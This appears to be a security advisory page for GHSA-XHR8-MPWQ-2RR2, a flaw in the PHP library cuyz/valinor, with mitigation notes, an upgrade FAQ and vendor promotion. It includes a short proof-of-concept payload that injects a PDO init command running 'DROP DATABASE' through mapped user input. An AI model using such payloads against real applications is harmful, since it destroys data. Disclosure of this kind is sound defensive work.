Summary
Automatic named constructor discovery in Valinor
Design issue - automatic constructor discovery
The issue arises when upgrading from cuyz/valinor:0.3.0 to a newer system on an existing application, which broke due to the wrong constructor being picked.
Still, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.
Example exploit
Take following DTO example:
final class UserDTO
{
public function __construct(
public int $id,
public string $name
) {}
public static function fromDb(
PDO $connection,
int $id
): self { /* ... code to fetch the DTO here ... */ }
}
There is nothing inherently unsafe about the above UserDTO, but when mixed with cuyz/valinor:^0.5.0 ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:
// this could be coming from user input:
$maliciousPayload = [
'connection' => [
'dsn' => 'mysql:host=some-host;database=some-database',
'username' => 'root',
'password' => 'root',
'options' => [
// PDO::MYSQL_ATTR_INIT_COMMAND === 1002
1002 => 'DROP DATABASE all-the-moneys'
]
],
'id' => 123,
];
$treeMapper->map(
UserDTO::class,
$maliciousPayload
); // your DB is gone :D
The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.
Mitigation
Version 0.7.0 contains a patch for this issue.
Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-XHR8-MPWQ-2RR2? GHSA-XHR8-MPWQ-2RR2 is a high-severity security vulnerability in cuyz/valinor (composer), affecting versions >= 0.5.0, < 0.7.0. It is fixed in 0.7.0.
- Which versions of cuyz/valinor are affected by GHSA-XHR8-MPWQ-2RR2? cuyz/valinor (composer) versions >= 0.5.0, < 0.7.0 is affected.
- Is there a fix for GHSA-XHR8-MPWQ-2RR2? Yes. GHSA-XHR8-MPWQ-2RR2 is fixed in 0.7.0. Upgrade to this version or later.
- Is GHSA-XHR8-MPWQ-2RR2 exploitable, and should I be worried? Whether GHSA-XHR8-MPWQ-2RR2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-XHR8-MPWQ-2RR2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-XHR8-MPWQ-2RR2? Upgrade
cuyz/valinorto 0.7.0 or later.